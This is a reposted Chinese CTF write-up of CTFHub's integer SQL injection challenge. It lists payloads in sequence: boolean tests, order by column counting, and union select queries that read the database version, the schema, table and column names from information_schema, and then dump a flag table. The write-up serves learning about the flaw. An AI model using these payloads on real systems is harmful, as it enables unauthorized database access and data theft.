• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

CTFHub | 整数型注入

武飞扬头像
尼泊罗河伯
帮助5

0x00 前言

        CTFHub 专注网络安全、信息安全、白帽子技术的在线学习,实训平台。提供优质的赛事及学习服务,拥有完善的题目环境及配套 writeup ,降低 CTF 学习入门门槛,快速帮助选手成长,跟随主流比赛潮流。

        

        

0x01 题目描述

整数型注入:

        (无)

学新通
网页显示内容

        

        

0x02 解题过程

        根据题目描述输入 1 进行测试,发现此题可能存在 SQL 注入漏洞。那么使用' and 1 = 1 ‘和' and 1 = 2’进行判断,此题存在 SQL 整数型漏洞注入。那么第一步先判断字段数量,然后检查数据库位置,知道数据库位置后查看数据库版本和数据库名。接着查看一下全部数据库名,并查看这些数据库的表名,发现一个表名为 flag 比较可疑。查看这个表名的全部字段后接着查看表中的数据得到此题 flag 。

        

根据网页显示内容输入1进行测试,发现此题可能存在SQL注入

学新通

        

在URL末尾使用'and 1 = 1'和'and 1 = 2'验证是否存在SQL注入

学新通

  1.  
    #payload
  2.  
    and 1 = 1
  3.  
    and 1 = 2

        

'and1 = 1'语句正常执行,回显正常

学新通

and 1 = 1

        

'and1 = 2'语句正常执行,回显出错,说明此题存在SQL整数型注入

学新通

and 1 = 2

        

使用order by 判断字段数量,从order by 1开始

学新通

order by 1

        

判断字段2,使用order by 2

学新通

order by 2

        

判断字段3,使用order by 3,这里无回显,那么字段数量为2列

学新通

order by 3

        

知道字段数量为2后,可以查看数据库位置,使用union select 1,2查看未发现数据

学新通

union select 1,2

        

判断数据可能不存在数据库中,在id=1中加入负号可以查看到不存在数据库中的数据

学新通

id=-1 union select 1,2

        

修改2为version(),查看数据库版本,发现数据库版本为MariaDB 10.3.22

学新通

id=-1 union select 1,version()

        

ⅩⅠ修改2为database(),查看数据库名,发现数据库版本为sqli

学新通

id=-1 union select 1,database()

        

ⅩⅡ查看全部数据库名

学新通

id=-1 union select 1,group_concat(schema_name)from information_schema.schemata

        

ⅩⅢ分别查看刚才获取到的数据库全部表名,最后在sqli数据库中发现名为flag的可疑表名

学新通

id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

        

ⅩⅣ查看flag表中的全部字段名

学新通

id=-1union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'

        

ⅩⅤ查看flag表中的全部数据,发现此题flag

学新通

id=-1 union select 1,group_concat(flag) from sqli.flag

        

        

0x03 SQL整数型注入

整数型注入漏洞判断:

  1. payload:and 1 = 1,语句执行正常,网页回显无差异
  2. payload:and 1 = 2,语句执行正常,无法查询出结果,网页回显存在差异

        

        

0x04 总结

文章内容为学习记录的笔记,由于作者水平有限,文中若有错误与不足欢迎留言,便于及时更正。

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhfhkhfa
系列文章
更多 icon
同类精品
更多 icon
继续加载